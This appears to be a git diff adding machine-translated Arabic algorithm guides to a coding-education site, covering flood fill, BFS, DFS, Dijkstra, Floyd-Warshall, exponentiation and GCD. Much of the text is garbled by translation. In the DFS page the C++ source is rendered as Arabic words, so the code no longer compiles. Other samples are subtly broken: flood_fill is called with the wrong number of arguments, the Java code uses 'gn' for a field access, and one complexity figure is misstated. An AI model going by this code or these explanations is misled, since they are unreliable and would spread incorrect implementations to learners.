+7) كانت خوارزمية Karatsuba أول خوارزمية الضرب أسرع بشكل تقريبي من خوارزمية "المدرسة الصفية" التربيعية. يقلل من مضاعفة رقمين n-digit على الأكثر إلى n ^ 1.585 (وهو تقريب لسجل 3 في الأساس 2) من رقم واحد. وبالتالي فهو أسرع من الخوارزمية الكلاسيكية ، والتي تتطلب n ^ 2 منتجات من رقم واحد.
+
+### Divide and Conquer (D & C) vs Dynamic Programming (DP)
+
+يقسم النموذجان (D & C و DP) المشكلة المطروحة إلى مشاكل فرعية ويحلان المشكلات الفرعية. كيفية اختيار واحد منهم لمشكلة معينة؟ يجب استخدام Divide و Conquer عندما لا يتم تقييم المشاكل الثانوية نفسها عدة مرات. خلاف ذلك يجب استخدام البرمجة الديناميكية أو Memoization.
+
+على سبيل المثال ، البحث الثنائي عبارة عن خوارزمية Divide و Conquer ، لم نقم أبدًا بتقييم نفس المشاكل الفرعية مرة أخرى. من ناحية أخرى ، من أجل حساب رقم فيبوناتشي nt ، ينبغي تفضيل البرمجة الديناميكية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/embarassingly-parallel-algorithms/index.md b/client/src/guide/arabic/algorithms/embarassingly-parallel-algorithms/index.md
new file mode 100644
index 0000000000..5fed451b49
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/embarassingly-parallel-algorithms/index.md
@@ -0,0 +1,16 @@
+---
+title: Embarassingly Parallel Algorithms
+localeTitle: الخوارزميات الموازية المحرجة
+---
+## الخوارزميات الموازية المحرجة
+
+في البرمجة المتوازية ، هي خوارزمية متوازية محرجة لا تتطلب أي اتصال أو تبعية بين العمليات. على عكس مشكلات الحوسبة الموزعة التي تحتاج إلى الاتصال بين المهام - خاصةً فيما يتعلق بالنتائج الوسيطة ، من السهل تنفيذ الخوارزميات المتوازية المحرجة في مزارع الخوادم التي تفتقر إلى البنية التحتية الخاصة المستخدمة في مجموعة أجهزة كمبيوتر عملاقة حقيقية. نظرًا لطبيعة الخوارزميات المتوازية المحرجة ، فهي مناسبة تمامًا لمنصات التوزيع الكبيرة المستندة إلى الإنترنت ، ولا تعاني من التباطؤ المتوازي. عكس المشاكل المتوازية المحرجة هي مشاكل متسلسلة بطبيعتها ، والتي لا يمكن موازتها على الإطلاق. يمكن تلخيص الحالة المثالية للخوارزميات المتوازية المحرجة كما يلي:
+
+*   يتم تحديد جميع المشاكل الفرعية أو المهام قبل بدء الحسابات.
+*   يتم تخزين كافة الحلول الفرعية في مواقع الذاكرة المستقلة (المتغيرات ، عناصر الصفيف).
+*   وبالتالي ، فإن حساب الحلول الفرعية مستقل تمامًا.
+*   إذا تطلبت الحسابات بعض الاتصالات الأولية أو النهائية ، فإننا نسميها بشكل متوازي محرجًا.
+
+قد يتساءل الكثيرون عن أصل مصطلح "محرج". في هذه الحالة ، لا يوجد شيء محرج يتعلق بالإحراج. في الواقع ، هذا يعني فرطًا كبيرًا - هنا نشير إلى مشاكل الموازاة التي هي "سهلة للغاية".
+
+ومن الأمثلة الشائعة لمشكلة متوازية محرجة ، عرض الفيديو ثلاثي الأبعاد الذي يتم التعامل معه بواسطة وحدة معالجة الرسومات ، حيث يمكن التعامل مع كل إطار أو بيكسل دون الاعتماد المتبادل. بعض الأمثلة الأخرى هي بروتينات قابلة للطي يمكن أن تعمل على أي جهاز كمبيوتر مع كل آلة تقوم بعمل جزء صغير من العمل ، وتوليد كل المجموعات الفرعية ، والأرقام العشوائية ، ومحاكاة مونت كارلو.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/evaluating-polynomials-direct-analysis/index.md b/client/src/guide/arabic/algorithms/evaluating-polynomials-direct-analysis/index.md
new file mode 100644
index 0000000000..15ae776f00
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/evaluating-polynomials-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Direct Analysis
+localeTitle: تقييم متعدد الحدود التحليل المباشر
+---
+## تقييم متعدد الحدود التحليل المباشر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-direct-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/evaluating-polynomials-synthetic-division/index.md b/client/src/guide/arabic/algorithms/evaluating-polynomials-synthetic-division/index.md
new file mode 100644
index 0000000000..8ffa79beea
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/evaluating-polynomials-synthetic-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Evaluating Polynomials Synthetic Division
+localeTitle: تقييم متعدد polynomials قسم اصطناعي
+---
+## تقييم متعدد polynomials قسم اصطناعي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/evaluating-polynomials-synthetic-division/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/exponentiation/index.md b/client/src/guide/arabic/algorithms/exponentiation/index.md
new file mode 100644
index 0000000000..fb35ee3539
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/exponentiation/index.md
@@ -0,0 +1,58 @@
+---
+title: Exponentiation
+localeTitle: الأسي
+---
+## الأسي
+
+بعد كتابة رقمين صحيحين و n ، اكتب دالة لحساب ^ n.
+
+#### الشفرة
+
+نموذج حسابي: تقسيم وقهر.
+
+ `int power(int x, unsigned int y) { 
+    if (y == 0) 
+        return 1; 
+    else if (y%2 == 0) 
+        return power(x, y/2)*power(x, y/2); 
+    else 
+        return x*power(x, y/2)*power(x, y/2); 
+ } 
+` 
+
+تعقيد الوقت: O (n) | تعقيد الفضاء: O (1)
+
+#### الحل الأمثل: O (تسجيل الدخول)
+
+ `int power(int x, unsigned int y) { 
+    int temp; 
+    if( y == 0) 
+        return 1; 
+    temp = power(x, y/2); 
+    if (y%2 == 0) 
+        return temp*temp; 
+    else 
+        return x*temp*temp; 
+ } 
+` 
+
+## الأسيوي وحدات
+
+أعطيت ثلاثة أرقام x، y و p، compute (x ^ y)٪ p
+
+ `int power(int x, unsigned int y, int p) { 
+    int res = 1; 
+    x = x % p; 
+    while (y > 0) { 
+        if (y & 1) 
+            res = (res*x) % p; 
+ 
+        // y must be even now 
+        y = y>>1; 
+        x = (x*x) % p; 
+    } 
+    return res; 
+ } 
+` 
+
+تعقيد الوقت: O (Log y).
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/flood-fill/index.md b/client/src/guide/arabic/algorithms/flood-fill/index.md
new file mode 100644
index 0000000000..1994f9476e
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/flood-fill/index.md
@@ -0,0 +1,97 @@
+---
+title: Flood Fill Algorithm
+localeTitle: خوارزمية تعبئة الفيضان
+---
+## خوارزمية تعبئة الفيضان
+
+تعبئة الفيضان هي خوارزمية تستخدم بشكل أساسي لتحديد منطقة محددة مرتبطة بعقدة معينة في مصفوفة متعددة الأبعاد. أنه تشابه دقيق لأداة الجرافة في برامج الطلاء.
+
+إن تنفيذ الخوارزمية الأكثر تقارباً هو وظيفة متكررة أساسها مكدس ، وهذا ما سنتحدث عنه التالى.
+
+### كيف يعمل؟
+
+المشكلة بسيطة جدًا وتتبع عادةً الخطوات التالية:
+
+1.  خذ موقف نقطة البداية.
+2.  قرّر منطقيًا تريد الذهاب في 4 اتجاهات ( **N، S، W، E** ) أو 8 اتجاهات ( **N، S، W، E، NW، NE، SW، SE** ).
+3.  اختر لونًا بديلًا ولونًا مستهدفًا.
+4.  السفر في تلك الاتجاهات.
+5.  إذا كان البلاط الذي تهبط عليه هدفًا ، فأعد إدخاله باللون المختار.
+6.  كرر 4 و 5 حتى تكون في كل مكان داخل الحدود.
+
+لنأخذ الصفيف التالي كمثال:
+
+![نص بديل](https://github.com/firealex2/Codingame/blob/master/small%208%20grid%20paintefffd.png)
+
+المربع الأحمر هو نقطة البداية والمربعات الرمادية هي ما يسمى الجدران.
+
+للحصول على مزيد من التفاصيل ، في ما يلي جزء من الشفرة يصف الوظيفة:
+
+ `int wall = -1; 
+ 
+ void flood_fill(int pos_x, int pos_y, int target_color, int color) 
+ { 
+ 
+   if(a[pos_x][pos_y] == wall || a[pos_x][pos_y] == color) // if there is no wall or if i haven't been there 
+      return;                                              // already go back 
+ 
+   if(a[pos_x][pos_y] != target_color) // if it's not color go back 
+      return; 
+ 
+   a[pos_x][pos_y] = color; // mark the point so that I know if I passed through it. 
+ 
+   flood_fill(pos_x + 1, pos_y, color);  // then i can either go south 
+   flood_fill(pos_x - 1, pos_y, color);  // or north 
+   flood_fill(pos_x, pos_y + 1, color);  // or east 
+   flood_fill(pos_x, pos_y - 1, color);  // or west 
+ 
+   return; 
+ 
+ } 
+` 
+
+كما رأينا أعلاه ، نقطة البداية (4،4). بعد استدعاء الدالة لإحداثيات البدء **x = 4** و **y = 4** ، يمكنني البدء في التحقق إذا لم يكن هناك جدار أو لون على الفور. إذا كان ذلك صحيحًا ، أضع علامة على المكان بـ **"لون"** واحد والبدء في التحقق من المربعات adiacent الأخرى.
+
+الذهاب إلى الجنوب سنصل إلى النقطة (5،4) و تعمل الوظيفة مرة أخرى.
+
+### مشكلة كسسيرسيسي
+
+اعتبرت دائمًا أن حل مشكلة (أو أكثر) / ثانية باستخدام خوارزمية مستفادة حديثًا هو أفضل طريقة لفهمها بشكل كامل المفهوم.
+
+إذن هنا واحد:
+
+**بيان:**
+
+في صفيف بدائي تحصل على عدد n من **"الجزر"** . حاول أن تجد أكبر مساحة في جزيرة و رقم الجزيرة المقابل. 0 علامات الماء وأي سائر آخر بين 1 و n يساوي مربع واحد من السطح المقابل لجزيرة س.
+
+**إدخال**
+
+*   **ن** - عدد الجزر.
+*   **ل ، ج** - أبعاد المصفوفة.
+*   خطوط **ل** المقبلة، أرقام **ج** إعطاء **ل** صف من المصفوفة عشر.
+
+**انتاج |**
+
+*   **أنا** - عدد الجزيرة مع أكبر مساحة.
+*   **أ** - منطقة **ط** 'الجزيرة عشر.
+
+**مثلا:**
+
+لديك المدخلات التالية:
+
+ `2 4 4 
+ 0 0 0 1 
+ 0 0 1 1 
+ 0 0 0 2 
+ 2 2 2 2 
+` 
+
+والتي سوف تحصل على الجزيرة لا. 2 كأكبر جزيرة بمساحة 5 مربعات.
+
+### إشارة
+
+المشكلة سهلة للغاية ، ولكن في ما يلي بعض التلميحات:
+
+ `1. Use the flood-fill algorithm whenever you encounter a new island. 
+ 2. As opposed to the sample code, you should go through the area of the island and not on the ocean (0 tiles). 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/graph-algorithms/breadth-first-search/index.md b/client/src/guide/arabic/algorithms/graph-algorithms/breadth-first-search/index.md
new file mode 100644
index 0000000000..3816726ada
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/graph-algorithms/breadth-first-search/index.md
@@ -0,0 +1,124 @@
+---
+title: Breadth First Search (BFS)
+localeTitle: نطاق البحث الأول (BFS)
+---
+## نطاق البحث الأول (BFS)
+
+Breadth First Search هي واحدة من أكثر خوارزميات الرسم البياني بسيطة. يقوم بتجاوز الرسم البياني عن طريق التحقق أولاً من العقدة الحالية ثم توسيعها بإضافة خلفائها إلى المستوى التالي. يتم تكرار العملية لجميع العقد في المستوى الحالي قبل الانتقال إلى المستوى التالي. إذا تم العثور على الحل يتوقف البحث.
+
+### تصور
+
+![](https://upload.wikimedia.org/wikipedia/commons/4/46/Animated_BFS.gif)
+
+### تقييم
+
+تعقيد الفضاء: O (n)
+
+تعقيد حالة الوقت أسوأ: O (n)
+
+اكتمال بحث First على مجموعة محدودة من العقد وأفضل إذا كانت تكلفة الانتقال من عقدة إلى أخرى ثابتة.
+
+### رمز C ++ لتنفيذ BFS
+
+ `// Program to print BFS traversal from a given 
+ // source vertex. BFS(int s) traverses vertices 
+ // reachable from s. 
+ #include<iostream> 
+ #include <list> 
+ 
+ using namespace std; 
+ 
+ // This class represents a directed graph using 
+ // adjacency list representation 
+ class Graph 
+ { 
+    int V;    // No. of vertices 
+ 
+    // Pointer to an array containing adjacency 
+    // lists 
+    list<int> *adj; 
+ public: 
+    Graph(int V);  // Constructor 
+ 
+    // function to add an edge to graph 
+    void addEdge(int v, int w); 
+ 
+    // prints BFS traversal from a given source s 
+    void BFS(int s); 
+ }; 
+ 
+ Graph::Graph(int V) 
+ { 
+    this->V = V; 
+    adj = new list<int>[V]; 
+ } 
+ 
+ void Graph::addEdge(int v, int w) 
+ { 
+    adj[v].push_back(w); // Add w to v's list. 
+ } 
+ 
+ void Graph::BFS(int s) 
+ { 
+    // Mark all the vertices as not visited 
+    bool *visited = new bool[V]; 
+    for(int i = 0; i < V; i++) 
+        visited[i] = false; 
+ 
+    // Create a queue for BFS 
+    list<int> queue; 
+ 
+    // Mark the current node as visited and enqueue it 
+    visited[s] = true; 
+    queue.push_back(s); 
+ 
+    // 'i' will be used to get all adjacent 
+    // vertices of a vertex 
+    list<int>::iterator i; 
+ 
+    while(!queue.empty()) 
+    { 
+        // Dequeue a vertex from queue and print it 
+        s = queue.front(); 
+        cout << s << " "; 
+        queue.pop_front(); 
+ 
+        // Get all adjacent vertices of the dequeued 
+        // vertex s. If a adjacent has not been visited, 
+        // then mark it visited and enqueue it 
+        for (i = adj[s].begin(); i != adj[s].end(); ++i) 
+        { 
+            if (!visited[*i]) 
+            { 
+                visited[*i] = true; 
+                queue.push_back(*i); 
+            } 
+        } 
+    } 
+ } 
+ 
+ // Driver program to test methods of graph class 
+ int main() 
+ { 
+    // Create a graph given in the above diagram 
+    Graph g(4); 
+    g.addEdge(0, 1); 
+    g.addEdge(0, 2); 
+    g.addEdge(1, 2); 
+    g.addEdge(2, 0); 
+    g.addEdge(2, 3); 
+    g.addEdge(3, 3); 
+ 
+    cout << "Following is Breadth First Traversal " 
+         << "(starting from vertex 2) \n"; 
+    g.BFS(2); 
+ 
+    return 0; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+[الرسوم البيانية](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[عمق البحث الأول (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/graph-algorithms/depth-first-search/index.md b/client/src/guide/arabic/algorithms/graph-algorithms/depth-first-search/index.md
new file mode 100644
index 0000000000..31ca06ea2a
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/graph-algorithms/depth-first-search/index.md
@@ -0,0 +1,105 @@
+---
+title: Depth First Search (DFS)
+localeTitle: عمق البحث الأول (DFS)
+---
+## عمق البحث الأول (DFS)
+
+يعد Depth First Search واحدًا من أكثر خوارزميات الرسم البياني بسيطة. إنها تعبر الرسم البياني عن طريق التحقق أولاً من العقدة الحالية ومن ثم الانتقال إلى أحد مساعديها لتكرار العملية. إذا لم يكن لدى العقدة الحالية أي اختبار للتحقق ، فإننا ننتقل إلى سابقه وتستمر العملية (بالانتقال إلى سواقة أخرى). إذا تم العثور على الحل يتوقف البحث.
+
+### تصور
+
+![](https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif)
+
+### التنفيذ (C ++ 14)
+
+\`\` \`ج ++
+
+# تتضمن
+
+# تتضمن
+
+# تتضمن
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+الرسم البياني للفئة { في التلفاز؛ // عدد القمم
+
+ `// pointer to a vector containing adjacency lists 
+ vector < int > *adj; 
+` 
+
+عامة: الرسم البياني (كثافة العمليات) ؛ // البناء
+
+ ``// function to add an edge to graph 
+ void add_edge(int v, int w); 
+ 
+ // prints dfs traversal from a given source `s` 
+ void dfs(); 
+ void dfs_util(int s, vector < bool> &visited); 
+`` 
+
+}؛
+
+الرسم البياني :: Graph (int v) { هذا -> v = v؛ adj = new vector <int> \[v\]؛ }
+
+void Graph :: add _edge (int u، int v) { adj \[u\] .الرجوع_ مرة أخرى (v)؛ // add v to u's list adj \[v\] .العودة _(v)؛ // add u to v's list (أزل هذا البيان إذا تم توجيه الرسم البياني!) } void Graph :: dfs () { // زار متجه - لتتبع العقد التي تمت زيارتها خلال DFS تمت زيارة vector <bool> (v، false)؛ // بمناسبة جميع العقد / الرؤوس كما لم تتم زيارته لـ (int i = 0؛ i <v؛ i ++) إذا (! زار \[أنا\]) dfs_ util (i، visited)؛ } // لاحظ استخدام استدعاء من قبل هنا! void Graph :: dfs\_util (int s، vector <bool> & visited) { // قم بتمييز العقدة / قمة الرأس الحالية كما تمت زيارتها زار \[ص\] = صحيح. // إخراجها إلى الإخراج القياسي (الشاشة) cout << s << ""؛
+
+ `// traverse its adjacency list and recursively call dfs_util for all of its neighbours! 
+ // (only if the neighbour has not been visited yet!) 
+ for(vector < int > :: iterator itr = adj[s].begin(); itr != adj[s].end(); itr++) 
+    if(!visited[*itr]) 
+        dfs_util(*itr, visited); 
+` 
+
+}
+
+انت مين() { // أنشئ رسمًا بيانيًا باستخدام طبقة الرسم البياني التي حددناها أعلاه الرسم البياني (4) ؛ g.add _edge (0، 1)؛ g.add_ edge (0، 2)؛ g.add _edge (1، 2)؛ g.add_ edge (2، 0)؛ g.add _edge (2، 3)؛ g.add_ edge (3، 3)؛
+
+ `cout << "Following is the Depth First Traversal of the provided graph" 
+     << "(starting from vertex 0): "; 
+ g.dfs(); 
+ // output would be: 0 1 2 3 
+ return 0; 
+` 
+
+}
+
+ `### Evaluation 
+ 
+ Space Complexity: O(n) 
+ 
+ Worse Case Time Complexity: O(n) 
+ Depth First Search is complete on a finite set of nodes. I works better on shallow trees. 
+ 
+ ### Implementation of DFS in C++ 
+` 
+
+ج ++
+
+# تتضمن
+
+# تتضمن
+
+# تتضمن
+
+استخدام اسم للمحطة؛
+
+الرسم البياني للهيكل { في التلفاز؛ bool \* _adj؛ عامة: الرسم البياني (كثافة العمليات vcount) ؛ void addEdge (int u، int v)؛ void deleteEdge (int u، int v)؛ قوه موجهة_ _DFS (int s) ؛ void DFSUtil (int s، vector_ _وDFS، ناقلات_ _وزار)؛ }؛ Graph :: Graph (int vcount) { هذا-> v = vcount ؛ this-> adj = new bool_ \[vcount\]؛ ل (int i = 0؛ i
+
+void Graph :: addEdge (int u، int w) { هذا-> صفة \[ش\] \[ث\] = صحيح. هذا-> صفة \[ث\] \[ش\] = صحيح. }
+
+void Graph :: deleteEdge (int u، int w) { هذا-> صفة \[ش\] \[ث\] = كاذبة؛ هذا-> صفة \[ث\] \[ش\] = كاذبة؛ }
+
+void Graph :: DFSUtil (int s، vector & DFS ، ناقلات وزار) { زار \[ق\] = صحيح. dfs.push\_back (ق)؛ ل (int i = 0؛ i الخامس، وأنا ++) { if (this-> adj \[s\] \[i\] == true && visited \[i\] == false) DFSUtil (ط، DFS، زار)؛ } }
+
+قوه موجهة الرسم البياني :: DFS (int s) { قوه موجهة زار (هذا-> الخامس)؛ قوه موجهة DFS. DFSUtil (ق، DFS، زار)؛ العودة dfs؛ } \`\` \`
+
+#### معلومات اكثر:
+
+[الرسوم البيانية](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[نطاق البحث الأول (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[عمق البحث الأول (DFS) - ويكيبيديا](https://en.wikipedia.org/wiki/Depth-first_search)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/graph-algorithms/dijkstra/index.md b/client/src/guide/arabic/algorithms/graph-algorithms/dijkstra/index.md
new file mode 100644
index 0000000000..9ffbfbbb51
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/graph-algorithms/dijkstra/index.md
@@ -0,0 +1,93 @@
+---
+title: Dijkstra's Algorithm
+localeTitle: خوارزمية Dijkstra
+---
+# خوارزمية Dijkstra
+
+خوارزمية Dijkstra هي خوارزمية رسم بياني قدمها EW Dijkstra. يجد مسار أقصر مصدر مفرد في الرسم البياني مع حواف غير سالبة. (لماذا؟)
+
+نقوم بإنشاء صفيفين: زيارة والمسافة ، والتي تسجل ما إذا كان يتم زيارة قمة الرأس وما هي المسافة الدنيا من قمة الرأس على التوالي. يتم تعيين المصفوفة التي تمت زيارتها في البداية على أنها خاطئة والمسافة باعتبارها لانهائية.
+
+نبدأ من قمة الرأس المصدر. دع الذروة الحالية تكون u والقرناصات المتاخمة لها v الآن لكل v الذي يكون متجها إلى u ، يتم تحديث المسافة إذا لم يتم زيارتها من قبل والمسافة من u أقل من المسافة الحالية. ثم نختار قمة الرأس التالية بأقل مسافة والتي لم يتم زيارتها.
+
+غالبًا ما يتم استخدام قائمة انتظار الأولوية للوفاء بهذا المطلب الأخير في أقل وقت ممكن. فيما يلي تنفيذ نفس الفكرة باستخدام طابور الأولوية في Java.
+
+ `import java.util.*; 
+ public class Dijkstra { 
+    class Graph { 
+    LinkedList<Pair<Integer>> adj[]; 
+    int n; // Number of vertices. 
+    Graph(int n) { 
+        this.n = n; 
+        adj = new LinkedList[n]; 
+        for(int i = 0;i<n;i++) adj[i] = new LinkedList<>(); 
+    } 
+    // add a directed edge between vertices a and b with cost as weight 
+    public void addEdgeDirected(int a, int b, int cost) { 
+        adj[a].add(new Pair(b, cost)); 
+    } 
+    public void addEdgeUndirected(int a, int b, int cost) { 
+        addEdgeDirected(a, b, cost); 
+        addEdgeDirected(b, a, cost); 
+    } 
+    } 
+    class Pair<E> { 
+    E first; 
+    E second; 
+    Pair(E f, E s) { 
+        first = f; 
+        second = s; 
+    } 
+    } 
+ 
+    // Comparator to sort Pairs in Priority Queue 
+    class PairComparator implements Comparator<Pair<Integer>> { 
+    public int compare(Pair<Integer> a, Pair<Integer> b) { 
+        return a.second - b.second; 
+    } 
+    } 
+ 
+    // Calculates shortest path to each vertex from source and returns the distance 
+    public int[] dijkstra(Graph g, int src) { 
+    int distance[] = new int[gn]; // shortest distance of each vertex from src 
+    boolean visited[] = new boolean[gn]; // vertex is visited or not 
+    Arrays.fill(distance, Integer.MAX_VALUE); 
+    Arrays.fill(visited, false); 
+    PriorityQueue<Pair<Integer>> pq = new PriorityQueue<>(100, new PairComparator()); 
+        pq.add(new Pair<Integer>(src, 0)); 
+    distance[src] = 0; 
+    while(!pq.isEmpty()) { 
+        Pair<Integer> x = pq.remove(); // Extract vertex with shortest distance from src 
+        int u = x.first; 
+        visited[u] = true; 
+        Iterator<Pair<Integer>> iter = g.adj[u].listIterator(); 
+        // Iterate over neighbours of u and update their distances 
+        while(iter.hasNext()) { 
+        Pair<Integer> y = iter.next(); 
+        int v = y.first; 
+        int weight = y.second; 
+        // Check if vertex v is not visited 
+        // If new path through u offers less cost then update distance array and add to pq 
+        if(!visited[v] && distance[u]+weight<distance[v]) { 
+            distance[v] = distance[u]+weight; 
+            pq.add(new Pair(v, distance[v])); 
+        } 
+        } 
+    } 
+    return distance; 
+    } 
+ 
+    public static void main(String args[]) { 
+    Dijkstra d = new Dijkstra(); 
+    Dijkstra.Graph g = d.new Graph(4); 
+    g.addEdgeUndirected(0, 1, 2); 
+    g.addEdgeUndirected(1, 2, 1); 
+    g.addEdgeUndirected(0, 3, 6); 
+    g.addEdgeUndirected(2, 3, 1); 
+    g.addEdgeUndirected(1, 3, 3); 
+ 
+    int dist[] = d.dijkstra(g, 0); 
+    System.out.println(Arrays.toString(dist)); 
+    } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md b/client/src/guide/arabic/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
new file mode 100644
index 0000000000..f090838ec6
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/graph-algorithms/floyd-warshall-algorithm/index.md
@@ -0,0 +1,47 @@
+---
+title: Floyd Warshall Algorithm
+localeTitle: Floyd Warshall Algorithm
+---
+## Floyd Warshall Algorithm
+
+خوارزمية Floyd Warshall هي خوارزمية رائعة للعثور على أقصر مسافة بين جميع الرؤوس في الرسم البياني. يحتوي على خوارزمية موجزة جداً و O (V ^ 3) تعقيد وقت (حيث V عدد الرؤوس). يمكن استخدامه مع الأوزان السلبية ، على الرغم من أن دورات الوزن السلبية يجب ألا تكون موجودة في الرسم البياني.
+
+### تقييم
+
+تعقيد الفضاء: O (V ^ 2)
+
+تعقيد وقت حالة أسوأ: O (V ^ 3)
+
+### تنفيذ بايثون
+
+ `# A large value as infinity 
+ inf = 1e10 
+ 
+ def floyd_warshall(weights): 
+    V = len(weights) 
+    distance_matrix = weights 
+    for k in range(V): 
+        next_distance_matrix = [list(row) for row in distance_matrix] # make a copy of distance matrix 
+        for i in range(V): 
+            for j in range(V): 
+                # Choose if the k vertex can work as a path with shorter distance 
+                next_distance_matrix[i][j] = min(distance_matrix[i][j], distance_matrix[i][k] + distance_matrix[k][j]) 
+        distance_matrix = next_distance_matrix # update 
+    return distance_matrix 
+ 
+ # A graph represented as Adjacency matrix 
+ graph = [ 
+    [0, inf, inf, -3], 
+    [inf, 0, inf, 8], 
+    [inf, 4, 0, -2], 
+    [5, inf, 3, 0] 
+ ] 
+ 
+ print(floyd_warshall(graph)) 
+` 
+
+#### معلومات اكثر:
+
+[الرسوم البيانية](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[فلويد وارهال - ويكيبيديا](https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/graph-algorithms/index.md b/client/src/guide/arabic/algorithms/graph-algorithms/index.md
new file mode 100644
index 0000000000..73e68c3e01
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/graph-algorithms/index.md
@@ -0,0 +1,23 @@
+---
+title: Graph algorithms
+localeTitle: خوارزميات الرسم البياني
+---
+## خوارزميات الرسم البياني
+
+الخوارزميات البيانية هي مجموعة من الإرشادات التي تجتاز (تزور العقد).
+
+يتم استخدام بعض الخوارزميات للعثور على عقدة محددة أو المسار بين عقدتين معينتين.
+
+### لماذا خوارزميات الرسم البياني مهمة
+
+الرسوم البيانية هي هياكل بيانات مفيدة للغاية والتي يمكن أن تكون نماذج لمشكلات مختلفة. هذه الخوارزميات لها تطبيقات مباشرة على مواقع الشبكات الاجتماعية ، ونمذجة آلة الدولة وغيرها الكثير.
+
+### بعض خوارزميات الرسم البياني المشتركة
+
+بعض خوارزميات الرسم البياني الأكثر شيوعًا هي:
+
+[الرسوم البيانية](https://github.com/freecodecamp/guides/computer-science/data-structures/graphs/index.md)
+
+[نطاق البحث الأول (BFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/breadth-first-search/index.md)
+
+[عمق البحث الأول (DFS)](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/graph-algorithms/depth-first-search/index.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/greatest-common-divisor-direct-analysis/index.md b/client/src/guide/arabic/algorithms/greatest-common-divisor-direct-analysis/index.md
new file mode 100644
index 0000000000..6dded4d2d3
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/greatest-common-divisor-direct-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Divisor Direct Analysis
+localeTitle: أعظم القاسم المشترك التحليل المباشر
+---
+## أعظم القاسم المشترك التحليل المباشر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/algorithms/greatest-common-divisor-direct-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/greatest-common-divisor-euclidean/index.md b/client/src/guide/arabic/algorithms/greatest-common-divisor-euclidean/index.md
new file mode 100644
index 0000000000..9995e8b070
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/greatest-common-divisor-euclidean/index.md
@@ -0,0 +1,73 @@
+---
+title: Greatest Common Divisor Euclidean
+localeTitle: أعظم القاسم المشترك Euclidean
+---
+## أعظم القاسم المشترك Euclidean
+
+لهذا الموضوع يجب أن تعرف عن القاسم المشترك الأكبر (GCD) وعملية MOD أولاً.
+
+#### أعظم القاسم المشترك (GCD)
+
+يعد GCD من عددين أو أكثر هو العدد الصحيح الأكبر الذي يقسم كل من الأعداد الصحيحة بحيث يكون الباقي صفرًا.
+
+مثال-  
+GCD of 20، 30 = 10 _(10 is the أكبر رقم يقسم 20 و 30 والباقي على 0)_  
+GCD من 42 و 120 و 285 = 3 _(3 هو أكبر عدد يقسم 42 و 120 و 285 مع الباقي مثل 0)_
+
+#### عملية "mod"
+
+يعطيك عملية التعديل الباقي عندما يتم تقسيم عدد صحيح موجب. نكتبها على النحو التالي  
+`A mod B = R`
+
+وهذا يعني أن قسمة A إلى B تعطيك الباقي R ، وهذا يختلف عن عملية القسمة التي تعطيك القسمة.
+
+مثال-  
+7 mod 2 = 1 _(يُقسم القسمان 7 في 2 الباقي 1)_  
+42 mod 7 = 0 _(يعطي التقسيم 42 في 7 الباقي 0)_
+
+مع المفهومين أعلاه المفهوم سوف تفهم بسهولة خوارزمية الإقليدية.
+
+### خوارزمية الإقليدية لأعظم مقام مشترك (GCD)
+
+وجدت الخوارزمية الإقليدية GCD من رقمين.
+
